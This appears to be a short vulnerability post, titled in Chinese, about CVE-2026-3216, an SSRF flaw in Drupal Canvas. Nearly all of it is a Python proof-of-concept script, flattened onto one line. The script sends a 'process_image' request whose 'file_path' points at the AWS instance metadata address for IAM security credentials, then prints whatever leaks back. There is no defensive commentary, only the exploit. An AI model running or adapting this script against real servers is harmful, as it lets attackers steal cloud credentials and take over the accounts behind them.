CVE-2026-3216 Drupal Canvas存在SSRF漏洞

import requests # Target configuration target_url = "http://example.com/drupal/canvas/endpoint" attacker_controlled_url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" # Payload to exploit SSRF # This payload attempts to fetch cloud metadata from the internal AWS IP payload = { "file_path": attacker_controlled_url, "action": "process_image" } try: print("[*] Sending SSRF payload to target...") response = requests.post(target_url, data=payload) if response.status_code == 200: print("[+] Request successful. Checking response content...") if response.text: print("[+] Potential data leaked:") print(response.text[:500]) # Print first 500 chars else: print("[-] No content returned, port might be closed or filtered.") else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[!] Error during exploitation: {e}")